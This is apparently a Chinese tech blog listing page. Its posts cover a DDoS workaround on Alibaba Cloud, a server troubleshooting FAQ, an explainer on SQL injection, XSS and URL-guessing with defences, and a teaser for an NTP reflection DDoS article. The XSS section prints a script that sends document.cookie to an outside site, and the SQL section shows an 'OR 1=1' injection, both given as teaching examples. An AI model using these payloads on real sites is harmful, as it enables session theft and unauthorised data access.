博客 (4)

【阿里云】尊敬的@aliyun.com:为了保障服务器的稳定运行,您的IP:  实例名称: 已启动限流保护措施。阈值与产品规格相关,您可以登录云盾控制台调整清洗阈值,若超出调整范围请提交售后工单反馈或电话95187-1进行咨询。

【阿里云】尊敬的@aliyun.com:您的IP: 受到攻击流量已超过云盾DDoS基础防护的带宽峰值,服务器的所有访问已被屏蔽,如果300分钟后攻击停止将自动解除否则会延期解除。详情请登录【云盾控制台】-【DDoS基础防护】查看或致电95187-1进行咨询。

恭喜,你的 ECS 服务器受到 DDoS 攻击了。这个时候,工单客服和电话客服都会极力推销高防 IP 这个产品(DDoS高防(新BGP)),为了抵挡一年才会遇到几分钟的攻击,咱们还是选择更为经济的方式来解决攻击这个问题吧。

ECS 等产品都会自带流量清洗这个功能,在阈值范围内的攻击流量会免费处理掉,超过阈值就把 ECS 拉入黑洞,以防止同机房的其它服务受到影响。一般攻击才持续 5~20 分钟,关小黑屋就等 5 个小时,谁比较善良。

既然受攻击的是 ECS 公网 IP,那么我们可以借用负载均衡(SLB)使用 ECS 的私网 IP 来请求业务。

初期可以创建一个按量付费的 SLB,熟悉费用后可再次调整。选择“私网”(文末解释为什么不选择“公网”)

image.png

服务地址绑定到 ECS,按业务需求添加监听端口:

image.png


此时,SLB 已经和 ECS 打通了,但是这个私网 SLB 并没有公网 IP,所以继续购买一个叫弹性公网 IP (EIP)的产品,用于打通公网与私网。同样初期选择按量付费。

将 SLB 与 EIP 绑定(各自的管理界面都有相关操作入口)。

最后,将域名解析到 EIP 即可,顺便将 TTL 改为最小值。

解析生效后,外部的请求通过 EIP 到 SLB 再到 ECS 的私网 IP 访问成功,但 ECS 主动的出流量仍然通过其公网 IP 流出,在黑洞期间相关的操作仍然会失败(如上传文件到外部图床),这个等后续遇到再补充解决方案。


一旦 DDoS 改为攻击 EIP,那么只要重新创建一个新的 EIP,将 SLB 绑定到该新的 EIP,并解析域名即可。


既然本例的 SLB 是私网到私网的,是不是可以省去 SLB,由 EIP 直接到 ECS?

经实践证明,EIP 绑定 ECS 会提示 ECS 已存在公网 IP,无法绑定。而且,带宽计费方式为按固定带宽的包年包月实例,不支持将公网 IP 转换为弹性公网 IP。


SLB 为什么不选择“公网”?

本方案仅为临时防止 DDoS 攻击,所以一旦再次受到攻击需要立即做出反应,而 SLB 的配置相对于 EIP 会更为复杂,所以我们选择新建 EIP 的方式来代替新建公网 SLB。费用方面,私网 SLB 没有流量费用,EIP 的流量费用与公网 SLB 相同,所以两种方案的费用是相差不大的。


最后,推荐使用阿里云 SDK 通过 API 接口来实现一键部署/更换 EIP 功能。

进阶功能:使用接口 DescribeEipAddresses 判断 EIP 的 LockReason 状态是否为 security,若是则自动切换 EIP,实现无人值守全自动防 DDoS。

xoyozo 3 年前
3,268

本文不定时更新!


A: MySQL 执行 SHOW FULL PROCESSLIST 

Q: 查看连接数和慢查询,适用于 MySQL 数据库无法连接 1040


A: iftop -i eth0

Q: 查看占用带宽的IP。不显示已知IP段:iftop -i eth0 -F ip/24


A: goaccess -f xxx.log

Q: 实时分析网站日志,查看请求最多的IP


A: net.xoyozo.weblog 日志分析工具

Q: 自制的 Web 日志分析工具,可按多种方式排序,纠出可疑访问


A: 重启 web 服务器

Q: 有时候能解决 CPU 和内存消耗的问题,如果一会儿又升高,则需要找另外的原因


Q: 500 服务器内部错误

502 Bad Gateway

504 Gateway Time-out

A: 查看 php 日志,可能的路径:/usr/local/php/var/log/php-fpm.log


Q: RDS MySQL IOPS 使用率高的原因和处理

A: 根据时间点查看慢查询


Q: Discuz! 论坛界面错乱、表情不显示、模块缺失、登录失败、发帖失败等等

A: 进入管理中心 - 工具 - 更新缓存,能解决大部分问题


Q: Discuz! 浏览帖子提示“没有找到帖子

A: 进入数据库,修复表 pre_forum_post 或分表


Q: CPU 100% 或内存 100%,负载100+

A: 原因有很多,以下是一些建议:

Windows 在任务管理器中查看进程

当前是否有正常的大流量访问(譬如民生类论坛的某个帖子突然火了)特别是重启无效的情况

对比网站日志大小可大致确定哪个网站被大量恶意请求。

观察:命令 top

排查:通过关闭网站来确定是某网站的问题,通过关闭功能确定是某功能的问题,如果 nginx 崩溃请参下条

案例:通过修改 mobcent 文件夹名确定是安米的文件被疯狂请求导致的,更新插件和 mobcent 包解决问题。

如果都是正常访问,top 看到很多 php-fpm,而且个个占用 CPU 还不小,那么根据服务器硬件配置来修改 php 的并发量,如宝塔面板在 php 设置 - 性能调整 页,300 并发方案的推荐配置是:

max_children:300
start_servers:30
min_spare_servers:30
max_spare_servers:180

另外,memcached 或 redis 的配置也可以进行相应的修改。

另一个案例是 kswapd0 进程占满 CPU,原因是内存不足导致 swap 分区与内存频繁交换数据。同样调整 php 的设置即可。

也可以通过 iftop 来查询占用带宽较多的 IP 并封禁(出方向),如果 CPU 能降下来,那这个 IP 就是罪魁祸首。


Q: 阿里云 ECS 的 CPU 突然达到 100%,并持续到次日 0:00 左右

A: 可能 ECS 是 t5 规格,受 CPU 积分制度限制,积分耗尽时 CPU 不工作。解决方法是更换其它规格产品或升配。


Q: ASP.NET 所在服务器 CPU 突然达到 50% 或 100%,并持续

A: 首先确定哪个网站,再依次排查网站各功能。可能是 HttpWebRequest 请求远程数据时长时间未返回结果导致的程序阻塞。


Q: nginx 服务停止

A: 查看 nginx 日志

WDCP 路径:/www/wdlinux/nginx-1.0.15/logs/error.log


Q: 公网出带宽 100%,其它指标正常

A: Windows 在任务管理器-性能-资源监视器-网络 查看占用带宽的进程PID,然后在任务管理器-详细信息中的找到对应的用户(如果为每个网站分别创建了用户,就能知道是哪个网站占用了带宽);如果是被 PID 为 4 的 System 占用大部分带宽,也可以尝试重启 IIS 来解决。

CentOS 使用 nethogs 查看占用带宽的进程PID和USER,如果为每个网站分别创建了用户,就能知道是哪个网站占用了带宽,否则只能一个个关闭网站来判断,不知道大家有没有好的方法?当然还可以直接用 iftop 命令查看占用带宽的 IP。另外,查看每个网站在那个时间段的日志文件的大小也能大概看出是哪个网站被采集了。


A: Linux 显示每个用户会话的登入和登出信息

utmpdump /var/log/wtmp

参考:http://www.tulaoshi.com/n/20160331/2050641.html


Q: RDS 的 CPU 100%

A: 如果是突然持续占满(同时伴随 ECS 资源使用率下降,页面出现 502),很大可能是受攻击(或社交网站推送突发事件等),查看“慢查询”,添加相关索引;如果是 Discuz! 论坛,可尝试修复优化表 pre_common_session。

如果是数日缓步上升,或新项目上线,考虑 SQL 慢查询,思路:MySQL / SQL Server

MySQL:SHOW FULL PROCESSLIST

SQL Server:sp_who


Q: php 网站的服务器,内存在数天内缓慢上升

A: 大概是 php-fpm 占用过多,或进程数太多

更改 php 的配置(如 max_spare_servers),执行:service php-fpm reload


Q: 进程 cloudfs 占用内存过多

A: 参:https://xoyozo.net/Blog/Details/cloudfs-cache


Q: RDS 磁盘占用过大

A: 参:https://xoyozo.net/Blog/Details/how-to-use-rds


Q: ECS 受到 DDoS 攻击怎么办?

A: 参:https://xoyozo.net/Blog/Details/aliyun-ddos-without-bgp


Q: 如果 ECS 和 RDS 各项指标都没有异常,但网页打开慢或打不开,TTFB 时间很长,是什么原因?

A: 数据库有坏表,尝试优化/修复表(慢 SQL 日志中锁等待时间较长的表?),或主备切换。


xoyozo 7 年前
6,958

互联网项目里边,SQL 注入漏洞XSS 漏洞猜测 URL 攻击这三个漏洞可谓历史悠久,然而直到今天还有人不断中枪,也真是微醺。

这几个漏洞说大也大,说小也小。说大是说这些漏洞危害大,会导致数据层面的安全问题;说小是从技术层面上讲都是未对外部输入做处理导致的,想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。

SQL 注入

SQL 注入之所以存在,主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说,有一个接受参数为 id 的页面,在接收到id后从数据库中查询相应的数据, 其代码大致如下:

string  SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];

正常情况下,Request["ID"] 为数字,这条 SQL 能很好地工作。如果我们认为修改 Request["ID"],将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL:

SELECT * FROM [User] WHERE ID=1 OR 1=1

因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞,我们能够获取想要的信息,同时可以通过猜测-报错获取到数据库其它表的结构和信息,如果数据库、服务器权限设置不当,甚至有可能能获取到整个服务器的控制权限。

规避这种漏洞有很多种办法,以现代的编程语言来说,选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。

如果因为某些原因需要继续写 SQL 语句,参数化查询也能解决这一问题。

对于需要拼接 SQL 语句的程序来说,注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型,在拼接 SQL 前先判断输入是不是一个合法的数字,不合法则终止程序即可。第二点是如果字段类型是字符串,则记得输入里的单引号进行转义

XSS 攻击

如果说 SQL 注入是直接在 SQL 里执行了用户输入,那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入,XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝;3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。

这里还是用 SQL 注入中的例子来说,假设页面输出为:

<div><%= Request["ID"] %></div>

这里我们可以在 Request["ID"] 里传入一段编码后的脚本,在最终输出的时候,就变成了一段可执行的 javascript 代码。

<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>

这段代码获取到当前页面的 cookie 值,并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式,黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。

XSS 攻击也可以简单分为两种,一种是上述例子中利用 url 引诱客户点击来实现另一种是通过存储到数据库,在其它用户获取相关信息时来执行脚本

防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode(或者在输出时进行 encode)。如果需要使用富文本编辑的,可以考虑使用 UBB。

猜测 URL 攻击

猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。

以 Request["ID"] 为例,如果 ID 为 1 是合法的可访问的数据,可以通过尝试 ID=2,ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当,则可以轻松获得并修改数据。

要避免这种问题,方案一是使用较长的无规律的数字、字符来做为 ID,增大猜测难度;对于需要登录的程序,可以判断用户身份是否有对应 ID 数据的访问、修改权限;如果 ID 已经是自增类型且不需要登录,可以用过在 URL 里增加无规律的校验字段来避免。

其它需要注意的地方

安全是一个系统工程。

要提高系统安全性,最首要的一点是不要相信任何输入!不要相信任何输入!不要相信任何输入!重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数,还包括 COOKIE、Header 等可以进行修改的各类信息。

在程序设置方面,不输出客户不需要知道的各类信息,如原始的异常信息、异常附近的代码段等等,这样也能增加不少安全性。

最后,在测试或系统运行的过程中,可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。

R
转自 Reginald 7 年前
3,727

NTP Reply Flood Attack (NTP射型Ddos攻击)以下简称NTP_Flood是一种利用网络中NTP服务器的脆弱性(无认证,不等价数据交换,UDP协议),来进行DDos行为的攻击,本文将就此种攻击的产生原因,利用方法等进行阐述,并使用编程语言(Python,C++)对此攻击进行实现。

转自 黑客防线 10 年前
5,397